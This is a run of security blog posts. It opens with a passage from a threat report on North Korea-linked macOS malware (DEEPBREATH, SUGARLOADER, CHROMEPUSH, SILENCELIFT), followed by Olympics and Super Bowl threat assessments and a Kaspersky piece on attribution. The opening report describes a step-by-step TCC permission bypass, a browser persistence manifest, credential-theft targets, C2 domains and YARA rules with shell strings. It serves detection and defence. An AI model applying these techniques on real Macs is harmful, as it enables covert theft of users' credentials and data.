    Instead of prompting the user for elevated permissions, DEEPBREATH directly manipulates the user's TCC database (TCC.db). It executes a series of steps to circumvent protections that prevent direct modification of the live database:

    1. Staging: It leverages the Finder application to rename the user's TCC folder and copies the TCC.db file to a temporary staging location, which allows it to modify the database unchallenged. 

    2. Permission Injection: Once staged, the malware programmatically inserts permissions, effectively granting itself broad access to critical user folders like Desktop, Documents, and Downloads.

    3. Restoration: Finally, it restores the modified database back to its original location, giving DEEPBREATH the broad file system access it needs to operate.

    It should be noted that this technique is possible due to the Finder application possessing Full Disk Access (FDA) permissions, which are the permissions necessary to modify the user-specific TCC database in macOS. 

    To ensure its operation remains uninterrupted, the malware uses an AppleScript to re-launch itself in the background using the -autodata argument, detaching from the initial process to continue data collection silently throughout the user's session.

    With elevated access, DEEPBREATH systematically targets high-value data:

    • Credentials: Steals login credentials from the user keychain (login.keychain-db)

    • Browser Data: Copies cookies, login data, and local extension settings from major browsers including Google Chrome, Brave, and Microsoft Edge across all user profiles

    • Messaging and Notes: Exfiltrates user data from two different versions of Telegram and also targets and copies database files from Apple Notes

    DEEPBREATH is a prime example of an attack vector focused on bypassing core operating system security features to conduct widespread data theft.

    SUGARLOADER

    SUGARLOADER is a downloader written in C++ historically associated with UNC1069 intrusions.

    Based on the observations from this intrusion, SUGARLOADER was solely used to deploy CHROMEPUSH. If SUGARLOADER is run without any command arguments, the binary checks for an existing configuration file located on the victim's computer at /Library/OSRecovery/com.apple.os.config

    The configuration is encrypted using RC4, with a hard-coded 32-byte key found in the binary. 

    Once decrypted, the configuration data contains up to two URLs that point to the next stage. The URLs are queried to download the next stage of the infection; if the first URL responds with a suitable executable payload, then the second URL is not queried. 

    The decrypted SUGARLOADER configuration for the sample analysed by Mandiant included the following C&C servers:

    • breakdream[.]com:443
    • dreamdie[.]com:443

    CHROMEPUSH

    During this intrusion, a second dataminer was recovered and named CHROMEPUSH. This data miner is written in C++ and installs itself as a browser extension targeting Chromium-based browsers, such as Google Chrome and Brave, to collect keystrokes, username and password inputs, and browser cookies, which it uploads to a web server.

    CHROMEPUSH establishes persistence by installing itself as a native messaging host for Chromium-based browsers. For Google Chrome, CHROMEPUSH copies itself to %HOME%/Library/Application Support/Google/Chrome/NativeMessagingHosts/Google Chrome Docs and creates a corresponding manifest file, com.google.docs.offline.json, in the same directory.

    {
      "name": "com.google.docs.offline",
      "description": "Native messaging for Google Docs Offline extension",
      "path": "%HOME%/Library/Application Support/Google/Chrome/NativeMessagingHosts/Google Chrome Docs",
      "type": "stdio",
      "allowed_origins": [ "chrome-extension://hennhnddfkgohngcngmflkmejacokfik/" ]
    }

    Figure 15: Manifest file for Google Chrome native messaging host established by the data miner

    By installing itself as a native messaging host, CHROMEPUSH will be automatically executed when the corresponding browser is executed. 

    Once executed via the native messaging host mechanism, the data miner creates a base data directory at %HOME%/Library/Application Support/com.apple.os.receipts and performs browser identification. A subdirectory within the base data directory is created with the corresponding identifier, which is based on the detected browser:

    • Google Chrome leads to the subdirectory being named "c".

    • Brave Browser leads to the subdirectory being named "b".

    • Arc leads to the subdirectory being named "a".

    • Microsoft Edge leads to the subdirectory being named "e".

    • If none of these match, the subdirectory name is set to "u".

    CHROMEPUSH reads configuration data from the file location %HOME%/Library/Application Support/com.apple.os.receipts/setting.db. The configuration settings are parsed in JavaScript Objection Notation (JSON) format. The names of the used JSON variables indicate their potential usage:

    • cap_on: Assumed to control whether screen captures should be taken

    • cap_time: Assumed to control the interval of screen captures

    • coo_on: Assumed to control whether cookies should be accessed

    • coo_time: Assumed to control the interval of accessing the cookie data

    • key_on: Assumed to control whether keypresses should be logged

    • C&C URL

    CHROMEPUSH stages collected data in temporary files within the %HOME%/Library/Application Support/com.apple.os.receipts/<browser_id>/ directory.

    These files are then renamed using the following formats:

    • Screenshots: CAYYMMDDhhmmss.dat

    • Keylogging: KLYYMMDDhhmmss.dat

    • Cookies: CK_<browser_identifier><unknown_id>.dat

    CHROMEPUSH stages and sends the collected data in HTTP POST requests to its C&C server. In the sample analysed by Mandiant, the C&C server was identified as hxxp://cmailer[.]pro:80/upload

    SILENCELIFT

    SILENCELIFT is a minimalistic backdoor written in C/C++ that beacons host information to a hard-coded C&C server. The C&C server identified in this sample was identified as support-zoom[.]us.

    SILENCELIFT retrieves a unique ID from the hard-coded file path /Library/Caches/.Logs.db. Notably, this is the exact same path used by the CHROMEPUSH. The backdoor also gets the lock screen status, which is sent to the C&C server with the unique ID. 

    If executed with root privileges, SILENCELIFT can actively interrupt Telegram communications while beaconing to its C&C server.

    Indicators of Compromise

    To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

    Network-Based Indicators

    Indicator

    Description

    mylingocoin.com

    Hosted the payload that was retrieved and executed to commence the initial infection

    zoom.uswe05.us

    Hosted the fake Zoom meeting

    breakdream.com

    SUGARLOADER C&C 

    dreamdie.com

    SUGARLOADER C&C 

    support-zoom.us

    SILENCELIFT C&C

    supportzm.com

    HYPERCALL C&C

    zmsupport.com

    HYPERCALL C&C

    cmailer.pro

    CHROMEPUSH upload server 

    Host-Based Indicators

    Description

    SHA-256 Hash

    File Name

    DEEPBREATH

    b452C2da7c012eda25a1403b3313444b5eb7C2c3e25eee489f1bd256f8434735

    /Library/Caches/System Settings

    SUGARLOADER

    1a30d6cdb0b98feed62563be8050db55ae0156ed437701d36a7b46aabf086ede

    /Library/OSRecovery/SystemUpdater

    WAVESHAPER

    b525837273dde06b86b5f93f9aeC2C29665324105b0b66f6df81884754f8080d

    /Library/Caches/com.apple.mond

    HYPERCALL

    c8f7608d4e19f6cb03680941bbd09fe969668bcb09c7ca985048a22e014dffcd

    /Library/SystemSettings/com.apple.system.settings

    CHROMEPUSH

    603848f37ab932dccef98ee27e3c5af9221d3b6ccfe457ccf93cb572495ac325

    /Users/<user>/Library/Application Support/Google/Chrome/NativeMessagingHosts/Brave Browser Docs

    /Users/<user>/Library/Application Support/Google/Chrome/NativeMessagingHosts/Google Chrome Docs

    /Library/Caches/chromeext

    SILENCELIFT

    c3e5d878a30a6c46e22d1dd2089b32086c91f13f8b9c413aa84e1dbaa03b9375

    /Library/Fonts/com.apple.logd

    HYPERCALL configuration (executes itself with sudo)

    03f00a143b8929585c122d490b6a3895d639c17d92C2223917e3a9ca1b8d30f9

    /Library/SystemSettings/.CacheLogs.db

    YARA Rules

    rule G_Backdoor_WAVESHAPER_1 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    		date_created = "2025-11-03"
    		date_modified = "2025-11-03"
    		md5 = "c91725905b273e81e9cc6983a11c8d60"
    		rev = 1
    	strings:
    		$str1 = "mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)"
    		$str2 = "/tmp/.%s"
    		$str3 = "grep \"Install Succeeded\" /var/log/install.log | awk '{print $1, $2}'"
    		$str4 = "sysctl -n hw.model"
    		$str5 = "sysctl -n machdep.cpu.brand_string"
    		$str6 = "sw_vers --ProductVersion"
    	condition:
    		all of them
    }
    rule G_Backdoor_WAVESHAPER_2 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    		date_created = "2025-11-03"
    		date_modified = "2025-11-03"
    		md5 = "eb7635f4836c9e0aa4c315b18b051cb5"
    		rev = 1
    	strings:
    		$str1 = "__Z10RunCommand"
    		$str2 = "__Z11GenerateUID"
    		$str3 = "__Z11GetResponse"
    		$str4 = "__Z13WriteCallback"
    		$str5 = "__Z14ProcessRequest"
    		$str6 = "__Z14SaveAndExecute"
    		$str7 = "__Z16MakeStatusString"
    		$str8 = "__Z24GetCurrentExecutablePath"
    		$str9 = "__Z7Execute"
    	condition:
    		all of them
    }
    rule G_Downloader_HYPERCALL_1 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    		date_created = "2025-10-24"
    		date_modified = "2025-10-24"
    		rev = 1
    	strings:
    		$go_build = "Go build ID:"
    		$go_inf = "Go buildinf:"
    		$lib1 = "/inject_mac/inject.go"
    		$lib2 = "github.com/gorilla/websocket"
    		$func1 = "t_loader/inject_mac.Inject"
    		$func2 = "t_loader/common.rc4_decode"
    		$c1 = { 48 BF 00 AC 23 FC 06 00 00 00 0F 1F 00 E8 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 32 48 8B 52 ?? 48 8B 76 ?? 48 89 CF 48 89 D9 48 89 C3 48 89 D0 FF D6 }
    		$c2 = { 48 89 D6 48 F7 EA 48 01 DA 48 01 CA 48 C1 FA 1A 48 C1 FE 3F 48 29 F2 48 69 D2 00 E1 F5 05 48 29 D3 48 8D 04 19 }
    	condition:
    		(uint32(0) == 0xfeedface or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe) and all of ($go*) and any of ($lib*) and any of ($func*) and all of ($c*)
    }
    rule G_Backdoor_SILENCELIFT_1 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    		md5 = "4e4f2dfe143ba261fd8a18d1c4b58f2e"
    		date_created = "2025/10/23"
    		date_modified = "2025/10/28"
    		rev = 2
    	strings:
    		$ss1 = "/usr/libexec/PlistBuddy -c \"print :IOConsoleUsers:0:CGSSessionScreenIsLocked\" /dev/stdin 2>/dev/null <<< \"$(ioreg -n Root -d1 -a)\"" ascii fullword
    		$ss2 = "pkill -CONT -f" ascii fullword
    		$ss3 = "pkill -STOP -f" ascii fullword
    		$ss4 = "/Library/Caches/.Logs.db" ascii fullword
    		$ss5 = "/Library/Caches/.evt_"
    		$ss6 = "{\"bot_id\":\""
    		$ss7 = "\", \"status\":"
    		$ss8 = "/Library/Fonts/.analyzed" ascii fullword
    	condition:
    		all of them
    }
    rule G_APTFIN_Downloader_SUGARLOADER_1 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    		md5 = "3712793d3847dd0962361aa528fa124c"
    		date_created = "2025/10/15"
    		date_modified = "2025/10/15"
    		rev = 1
    	strings:
    		$ss1 = "/Library/OSRecovery/com.apple.os.config"
    		$ss2 = "/Library/Group Containers/OSRecovery"
    		$ss4 = "_wolfssl_make_rng"
    	condition:
    		all of them
    }
    rule G_APTFIN_Downloader_SUGARLOADER_2 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    	strings:
    		$m1 = "__mod_init_func\x00lko2\x00"
    		$m2 = "__mod_term_func\x00lko2\x00"
    		$m3 = "/usr/lib/libcurl.4.dylib"
    	condition:
    		(uint32(0) == 0xfeedface or uint32(0) == 0xfeedfacf or uint32(0) == 0xcefaedfe or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe) and (all of ($m1, $m2, $m3))
    }
    rule G_Datamine_DEEPBREATH_1 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    	strings:
    		$sa1 = "-fakedel"
    		$sa2 = "-autodat"
    		$sa3 = "-datadel"
    		$sa4 = "-extdata"
    		$sa5 = "TccClickJack"
    		$sb1 = "com.apple.TCC\" as alias"
    		$sb2 = "/TCC.db\" as alias"
    		$sc1 = "/group.com.apple.notes\") as alias"
    		$sc2 = ".keepcoder.Telegram\")"
    		$sc3 = "Support/Google/Chrome/\")"
    		$sc4 = "Support/BraveSoftware/Brave-Browser/\")"
    		$sc5 = "Support/Microsoft Edge/\")"
    		$sc6 = "& \"/Local Extension Settings\""
    		$sc7 = "& \"/Cookies\""
    		$sc8 = "& \"/Login Data\""
    		$sd1 = "\"cp -rf \" & quoted form of "
    	condition:
    		(uint32(0) == 0xfeedfacf) and 2 of ($sa*) and 2 of ($sb*) and 3 of ($sc*) and 1 of ($sd*)
    }
    rule G_Datamine_CHROMEPUSH_1 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    		date_created = "2025-11-06"
    		date_modified = "2025-11-06"
    		rev = 1
    	strings:
    		$s1 = "%s/CA%02d%02d%02d%02d%02d%02d.dat"
    		$s2 = "%s/tmpCA.dat"
    		$s3 = "mouseStates"
    		$s4 = "touch /Library/Caches/.evt_"
    		$s5 = "cp -f"
    		$s6 = "rm -rf"
    		$s7 = "keylogs"
    		$s8 = "%s/KL%02d%02d%02d%02d%02d%02d.dat"
    		$s9 = "%s/tmpKL.dat"
    		$s10 = "OK: Create data.js success"
    	condition:
    		(uint32(0) == 0xfeedface or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca or uint32(0) == 0xcafebabf or uint32(0) == 0xbfbafeca) and 8 of them
    }

    Google Security Operations (SecOps)

    Google SecOps customers have access to these broad category rules and more under the “Mandiant Intel Emerging Threats” and “Mandiant Hunting Rules” rule packs. The activity discussed in the blog post is detected in Google SecOps under the rule names:

    • Application Support com.apple Suspicious Filewrites

    • Chrome Native Messaging Directory

    • Chrome Service Worker Directory Deletion

    • Database Staging in Library Caches

    • macOS Chrome Extension Modification

    • macOS Notes Database Harvesting

    • macOS TCC Database Manipulation

    • Suspicious Access To macOS Web Browser Credentials

    • Suspicious Audio Hardware Fingerprinting

    • Suspicious Keychain Interaction

    • Suspicious Library Font Directory File Write

    • Suspicious Multi-Stage Payload Loader

    • Suspicious Permissions on macOS System File

    • Suspicious SoftwareUpdate Masquerading

    • Suspicious TCC Database Modification

    • Suspicious Web Downloader Pipe to ZSH

    • Telegram Session Data Staging

    Cyber and Physical Risks Targeting the 2026 Winter Olympics

    Blogs

    Blog

    Cyber and Physical Risks Targeting the 2026 Winter Olympics

    In this post we analyze the multi-vector threat landscape of the 2026 Winter Olympics, examining how the Games’ dispersed geographic footprint and high digital complexity create unique potential for cyber sabotage and physical disruptions.

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    February 5, 2026

    The Milano-Cortina 2026 Winter Olympics represent a historic milestone as the first Games co-hosted by two major cities. However, the event’s expansive geographic footprint—covering 22,000 square kilometers across northern Italy—presents a complex security environment. From the metropolitan centers of Milan to the alpine peaks of Cortina d’Ampezzo, security forces are contending with a multi-vector threat landscape.

    Kinetic and Physical Security Challenges

    The geographically dispersed nature of the Milano-Cortina 2026 Winter Games also creates unique physical security challenges. Because venues are spread across thousands of square kilometers of the Alps, securing transit corridors and ensuring rapid emergency response across different Italian regions—including Lombardy, Veneto, and Trentino—is an incredible logistical hurdle. New tunnels, increased train services, and extended bus routes have been welcomed but create new potential targets for physical disruption by threat actors or protestors.

    Terrorist and Extremist Threats

    Flashpoint has not identified any terrorist or extremist threats to the Winter Olympic Games. However, lone threat actors in support of international terrorist organizations or domestic violence extremists remain a persistent threat due to the large number of attendees expected and the media attention that this event will attract.

    Authorities in northern Italy are investigating a series of sabotage attacks on the national railway network that coincided with the opening of the 2026 Winter Olympic Games. The coordinated incidents—which included arson at a track switch, severed electrical cables, and the discovery of a rudimentary explosive device—caused delays of over two hours and temporarily disabled the vital transport hub of Bologna.

    Protests

    Flashpoint analysts identified several protests targeting the 2026 Winter Olympics:

    • US Presence and ICE Backlash: Hundreds of demonstrators have participated in protests in central Milan to demand that US ICE agents withdraw from security roles at the upcoming Winter Olympics.
    • Anti-Olympic and Environmental Activism: The most organized opposition comes from the Unsustainable Olympics Committee. They have already staged marches in Milan and Cortina, with more planned for February.
    • Pro-Palestinian Groups: Organizations such as BDS Italia are actively campaigning to boycott the games, demanding that Israel not be permitted to participate. Other pro-Palestinian groups have attempted to disrupt the Torch Relay in several cities and are expected to hold flash mob-style demonstrations in Milan’s Piazza del Duomo during the Opening Ceremony.
    • Labor Strikes: Italy frequently experiences transport strikes, which often fall on Fridays. Because the Opening Ceremony is on Friday, February 6, unions are leveraging this for maximum impact. An International Day of Protest has been coordinated by port and dock workers across the Mediterranean for February 6.

    On February 7, a massive protest of approximately 10,000 people near the Olympic Village in Milan descended into violence as a peaceful march against the Winter Games ended in clashes with Italian police. While the majority of demonstrators initially focused on the environmental destruction caused by Olympic infrastructure, a smaller group of masked protestors engaged security forces with flares, stones, and firecrackers.

    Cyber Threats Facing the 2026 Winter Olympics

    The Milano-Cortina 2026 Winter Olympics will be among the most digitally complex global events, making it a prime target for cyberattacks. The greatest risks stem from familiar tactics such as phishing, spoofed websites, and business email compromise, which exploit human trust rather than technical flaws. With billions of viewers and a vast network of cloud services, vendors, and connected systems, the games create an expansive attack surface under intense operational pressure.

    Italy blocked a series of cyberattacks targeting its foreign ministry offices, including one in Washington, as well as Winter Olympics websites and hotels in Cortina d’Ampezzo, with officials attributing the attempts to Russian sources. Foreign Minister Antonio Tajani confirmed the attacks were prevented just days before the Games’ official opening, which began with curling matches on February 4. 

    Past Olympic Games show a clear pattern of heightened cyber activity, including phishing campaigns, distributed denial-of-service (DDoS) attacks, ransomware, and online scams targeting both organizers and the public. A mix of cybercriminals, advanced persistent threats, and hacktivists is expected to exploit the event for financial gain, espionage, or publicity. Experts emphasize that improving security awareness, verifying digital interactions, and strengthening supply chain defenses are critical, as the most damaging incidents often arise from ordinary threats amplified by scale and urgency.

    Staying Safe at the 2026 Winter Games

    The security success of Milano-Cortina 2026 relies on the integration of real-time intelligence, advanced technological safeguards, and public vigilance. As the Games proceed, the intersection of cyber-sabotage and physical protest remains the most likely source of operational disruption.

    To stay safe at this year’s Games, participants should:

    1. Download Official Apps: Install the Milano Cortina 2026 Ground Transportation App and the Atm Milano app for real-time updates on transit, road closures, and “guaranteed” travel windows during strikes.
    2. Plan Around Friday Strikes: Be aware that transport strikes (Feb 6, 13, and 20) typically guarantee services only between 6:00 AM – 9:00 AM and 6:00 PM – 9:00 PM. Plan your venue transfers accordingly.
    3. Secure Your Digital Footprint: Avoid public Wi-Fi at major venues. Use a VPN and ensure Multi-Factor Authentication (MFA) is active on all your ticketing and banking accounts.
    4. Stay Clear of Protests: While most demonstrations are expected to be peaceful, they can cause sudden police cordons and transit delays.
    5. Respect the Drone Ban: Unauthorized drones are strictly prohibited over Milan and venue clusters. Leave yours at home to avoid heavy fines or interception by security units.

    Stay Safe Using Flashpoint

    While there are no current indications of imminent threats of extreme violence targeting the Milano-Cortina 2026 Winter Olympics, the event’s vast geographic footprint and digital complexity demand constant vigilance. Securing an event that spans 22,000 square kilometers requires more than just a physical presence; it necessitates a multi-faceted approach that bridges the gap between digital and kinetic risks.

    To effectively navigate the intersection of cyber-sabotage, civil unrest, and logistical challenges, organizations and attendees must adopt a comprehensive strategy that integrates real-time intelligence with proactive security measures. Download Flashpoint’s Physical Safety Event Checklist to learn more.

    Request a demo today.

    The post Cyber and Physical Risks Targeting the 2026 Winter Olympics appeared first on Flashpoint.

    Flashpoint’s Threat Intelligence Capability Assessment

    Blogs

    Blog

    Flashpoint’s Threat Intelligence Capability Assessment

    In this post we introduce a new free assessment designed to pinpoint intelligence gaps, top strategic priorities for progress, and prioritized practical actions to drive real impact.

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    February 5, 2026

    Many organizations today have some form of threat intelligence. Far fewer have a threat intelligence function that is structured, measurable, and trusted across the business. Experienced security professionals know that volume does not equal value—having more feeds, more alerts, or more dashboards doesn’t automatically translate into better intelligence. In reality, teams need clear visibility into the source of their intelligence data, how it aligns to their most important risks, and whether it’s actually influencing decisions.

    Without this baseline, organizations struggle to answer fundamental questions: 

    • Are we collecting intelligence that reflects our real risk exposure?
    • Are we missing upstream threats—or over-prioritizing noise?
    • Is our intelligence tailored to our environment, or largely generic?
    • Is it reaching the right teams at the right moment to drive action?

    These blind spots create friction across security operations—and make it difficult to improve with confidence.

    How is Your Intelligence Working Across Your Environment?

    That’s why Flashpoint created the Threat Intelligence Capability Assessment out of a simple observation: the most successful intelligence functions aren’t defined by the size of their budget or the number of feeds they ingest. They are defined by how intelligence flows across the full threat intelligence lifecycle:

    1. Requirements & Tasking: How clear are your intelligence priorities, and how directly are they tied to real business risk?
    2. Collection & Discovery: Is your visibility broad, deep, and flexible enough to keep pace with changing threats?
    3. Analysis & Prioritization: How effectively are signals, context, and impact being connected to inform decisions?
    4. Dissemination & Action: Is intelligence reaching the teams and leaders who need it, when they need it?
    5. Feedback & Retasking: How consistently are priorities reviewed, refined, and adjusted based on outcomes?

    By examining each stage independently, our assessment reveals where intelligence accelerates decisions and where it quietly breaks down.

    Why This Assessment is Different

    Most maturity assessments focus on inputs: tooling, headcount, or abstract maturity labels.

    Flashpoint’s Threat Intelligence Capability Assessment takes a different approach. It evaluates how intelligence actually functions across the full intelligence lifecycle— from requirements and tasking through feedback and retasking—and what that means in practice for day-to-day operations.

    Rather than stopping at a score, the assessment helps organizations:

    1. Understand what their stage means in real operational terms
    2. Identify constraints and patterns that may be limiting impact
    3. Focus on top strategic priorities for progress
    4. Take immediate, practical actions to strengthen intelligence workflows
    5. Apply a 90-day planning framework to turn insight into execution

    Critically, The Threat Intelligence Capability Assessment is grounded in operational reality, not vendor theory, and is designed to be applied by function, recognizing that intelligence maturity is rarely uniform across an organization.

    “As cyber threats grow in scale, complexity, and impact, organizations need a clear understanding of how effectively intelligence supports their ability to detect high-priority risks and respond with speed. This assessment helps teams move beyond a score to understand what’s holding them back, where to focus next, and how to turn intelligence into action.”

    Josh Lefkowitz, CEO and co-founder of Flashpoint

    Where Do You Stand?

    This assessment isn’t about simply measuring where you are today—it’s about identifying holding you back, and where targeted improvements can deliver the greatest return.  

    After taking Flashpoint’s quick 5 minute assessment, security leaders can evaluate each component of their intelligence program—such as SOCs (Security Operations Center), vulnerability teams, fraud teams, and physical security—and benchmark them to surface potential gaps and needed improvements.
    Whether your program is at the developing, maturing, advanced, or leader stage, the goal is the same: to move from intelligence as a supporting activity to intelligence as a driver of proactive operations.

    • Developing: The early stages of building a dedicated intelligence function. Work is largely reactive—driven primarily by escalations or stakeholder questions—and may be reliant on open sources, vendor feeds, internal alerts, or ad-hoc investigations.
    • Maturing: Processes have moved beyond reactive workflows and are beginning to operate with a consistent structure. There are documented priority intelligence requirements and teams are intentionally building depth across sources, workflows, and reporting.
    • Advanced: In this stage, intelligence functions shape how your organization understands, prioritizes, and responds to threats. Requirements are well-defined, visibility spans multiple layers of the threat ecosystem, and analysts apply structured tradecraft that produces actionable intelligence.
    • Leader: Intelligence functions are a core component of organizational risk strategy. Outputs are trusted and used across the business to inform high-stakes decisions, shape long-range planning, and provide early warning across cyber, fraud, physical, brand, and geopolitical domains.

    A Practical Roadmap, Not a Judgment

    No matter which stage you are currently in, advancing an intelligence function requires deeper visibility into relevant ecosystems, stronger analytic rigor, and the ability to act on intelligence at the moment it matters. To move the needle, organizations need clear requirements, direct visibility into where threats originate, structured tradecraft, and intelligence that drives decisions.

    Flashpoint helps teams accelerate progress with the data, expertise, and workflows that strengthen intelligence programs at every stage—without requiring a new operational model. Take the assessment now to see where your intelligence program stands. Or, learn more about how Flashpoint helps intelligence teams progress faster, reduce fragmentation, and sustain momentum toward intelligence-led operations, delivered through the Flashpoint Ignite Platform.

    Request a demo today.

    The post Flashpoint’s Threat Intelligence Capability Assessment appeared first on Flashpoint.

    Protecting the Big Game: A Threat Assessment for Super Bowl LX

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    Protecting the Big Game: A Threat Assessment for Super Bowl LX

    This threat assessment analyzes potential physical and cyber threats to Super Bowl LX.

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    February 4, 2026
    Superbowl LIX Threat Assessment | Flashpoint Blog
    Table Of Contents

    Each year, the Super Bowl draws one of the largest live audiences of any global sporting event, with tens of thousands of spectators attending in person and more than 100 million viewers expected to watch worldwide. Super Bowl LX, taking place on February 8, 2026 at Levi’s Stadium, will feature the Seattle Seahawks and the New England Patriots, with Bad Bunny headlining the halftime show and Green Day performing during the opening ceremony.

    Beyond the game itself, the Super Bowl represents one of the most influential commercial and media stages in the world, with major brands investing in some of the most expensive advertising time of the year. The scale, visibility, and economic significance of the event make it an attractive target for threat actors seeking attention, disruption, or financial gain, underscoring the need for heightened security awareness.

    Cybersecurity Considerations

    At this time, Flashpoint has not observed any specific cyber threats targeting Super Bowl LX. Despite the absence of overt threats, it remains possible that threat actors may attempt to obtain personal information—including financial and credit card details—through scams, malware, phishing campaigns, or other opportunistic cyber activity.

    High-profile events such as the Super Bowl have historically been leveraged as bait for cyber campaigns targeting fans and attendees rather than league infrastructure. In October 2024, the online store of the Green Bay Packers was hacked, exposing customers’ financial details. Previous incidents also include the February 2022 “BlackByte” ransomware attack that targeted the San Francisco 49ers in the lead-up to Super Bowl LVI.

    Although Flashpoint has not identified any credible calls for large-scale cyber campaigns against Super Bowl LX at this time, analysts assess that cyber activity—if it occurs—is more likely to focus on fraud, impersonation, and social engineering directed at ticket holders, travelers, and high-profile attendees.

    Online Sentiment

    Flashpoint is currently monitoring online sentiment ahead of Super Bowl LX. At the time of publishing, analysts have identified pockets of increasingly negative online chatter related primarily to allegations of federal immigration enforcement activity in and around the event, as well as broader political and social tensions surrounding the Super Bowl.

    Online discussions include calls for protests and boycotts tied to perceived Immigration and Customs Enforcement (ICE) involvement, as well as controversy surrounding halftime and opening ceremony performers. While sentiment toward the game itself and associated events remains largely positive, Flashpoint continues to monitor for escalation in rhetoric that could translate into real-world activity.

    Potential Physical Threats

    Protests and Boycotts

    Flashpoint analysts have identified online chatter promoting protests in the Bay Area in response to allegations that Immigration and Customs Enforcement (ICE) agents will conduct enforcement operations in and around Super Bowl LX. A planned protest is scheduled to take place near Levi’s Stadium on February 8, 2026, during game-day hours.

    At this time, Flashpoint has not identified any calls for violence or physical confrontation associated with these actions. However, analysts cannot rule out the possibility that demonstrations could expand or relocate, potentially causing localized disruptions near the venue or surrounding infrastructure if protesters gain access to restricted areas.

    In addition, Flashpoint has identified online calls to boycott the Super Bowl tied to both the alleged ICE presence and controversy surrounding the event’s halftime and opening ceremony performers. Flashpoint has not identified any chatter indicating that players, NFL personnel, or affiliated organizations plan to boycott or disrupt the game or related events.

    Terrorist and Extremist Threats

    Flashpoint has not identified any direct or credible threats to Super Bowl LX or its attendees from violent extremists or terrorist groups at this time. However, as with any high-profile sporting event, lone actors inspired by international terrorist organizations or domestic violent extremist ideologies remain a persistent risk due to the scale of attendance and global media attention.

    Super Bowl LX is designated as a SEAR-1 event, necessitating extensive interagency coordination and heightened security measures. Law enforcement presence is expected to be significant, with layered security protocols, strict access control points, and comprehensive screening procedures in place throughout Levi’s Stadium and surrounding areas. Contingency planning for crowd management, emergency response, and evacuation scenarios is ongoing.

    Mitigation Strategies and Executive Protection

    Given the absence of specific, identified threats, mitigation strategies for key personnel attending Super Bowl LX focus on general best practices. Security teams tasked with executive protection should remove sensitive personal information from online sources, monitor open-source and social media channels, and establish targeted alerts for potential threats or emerging protest activity.

    Physical security teams and protected individuals should also familiarize themselves with venue layouts, emergency exits, nearby medical facilities, and law enforcement presence, and remain alert to changes in crowd dynamics or protest activity in the vicinity of the event.

    The nearest medical facilities are:

    • O’Connor Hospital (Santa Clara Valley Healthcare)
    • Kaiser Permanente Santa Clara Medical Center
    • Santa Clara Valley Medical Center
    • Valley Health Center Sunnyvale

    Several of these facilities offer 24/7 emergency services and are located within a short driving distance of the stadium.

    The primary law enforcement facility near the venue is:

    • Santa Clara Police Department

    As a SEAR-1 event, extensive coordination is expected among local, state, and federal law enforcement agencies throughout the Bay Area.

      Stay Safe Using Flashpoint

      Although there are no indications of any credible, immediate threats to Super Bowl LX or attendees at this time, it is imperative to be vigilant and prepared. Protecting key personnel in today’s threat environment requires a multi-faceted approach. To effectively bridge the gap between online and offline threats, organizations must adopt a comprehensive strategy that incorporates open source intelligence (OSINT) and physical security measures. Download Flashpoint’s Physical Safety Event Checklist to learn more.

      Request a demo today.

      How does cyberthreat attribution help in practice?

      2 February 2026 at 18:36

      Not every cybersecurity practitioner thinks it’s worth the effort to figure out exactly who’s pulling the strings behind the malware hitting their company. The typical incident investigation algorithm goes something like this: analyst finds a suspicious file → if the antivirus didn’t catch it, puts it into a sandbox to test → confirms some malicious activity → adds the hash to the blocklist → goes for coffee break. These are the go-to steps for many cybersecurity professionals — especially when they’re swamped with alerts, or don’t quite have the forensic skills to unravel a complex attack thread by thread. However, when dealing with a targeted attack, this approach is a one-way ticket to disaster — and here’s why.

      If an attacker is playing for keeps, they rarely stick to a single attack vector. There’s a good chance the malicious file has already played its part in a multi-stage attack and is now all but useless to the attacker. Meanwhile, the adversary has already dug deep into corporate infrastructure and is busy operating with an entirely different set of tools. To clear the threat for good, the security team has to uncover and neutralize the entire attack chain.

      But how can this be done quickly and effectively before the attackers manage to do some real damage? One way is to dive deep into the context. By analyzing a single file, an expert can identify exactly who’s attacking his company, quickly find out which other tools and tactics that specific group employs, and then sweep infrastructure for any related threats. There are plenty of threat intelligence tools out there for this, but I’ll show you how it works using our Kaspersky Threat Intelligence Portal.

      A practical example of why attribution matters

      Let’s say we upload a piece of malware we’ve discovered to a threat intelligence portal, and learn that it’s usually being used by, say, the MysterySnail group. What does that actually tell us? Let’s look at the available intel:

      MysterySnail group information

      First off, these attackers target government institutions in both Russia and Mongolia. They’re a Chinese-speaking group that typically focuses on espionage. According to their profile, they establish a foothold in infrastructure and lay low until they find something worth stealing. We also know that they typically exploit the vulnerability CVE-2021-40449. What kind of vulnerability is that?

      CVE-2021-40449 vulnerability details

      As we can see, it’s a privilege escalation vulnerability — meaning it’s used after hackers have already infiltrated the infrastructure. This vulnerability has a high severity rating and is heavily exploited in the wild. So what software is actually vulnerable?

      Vulnerable software

      Got it: Microsoft Windows. Time to double-check if the patch that fixes this hole has actually been installed. Alright, besides the vulnerability, what else do we know about the hackers? It turns out they have a peculiar way of checking network configurations — they connect to the public site 2ip.ru:

      Technique details

      So it makes sense to add a correlation rule to SIEM to flag that kind of behavior.

      Now’s the time to read up on this group in more detail and gather additional indicators of compromise (IoCs) for SIEM monitoring, as well as ready-to-use YARA rules (structured text descriptions used to identify malware). This will help us track down all the tentacles of this kraken that might have already crept into corporate infrastructure, and ensure we can intercept them quickly if they try to break in again.

      Additional MysterySnail reports

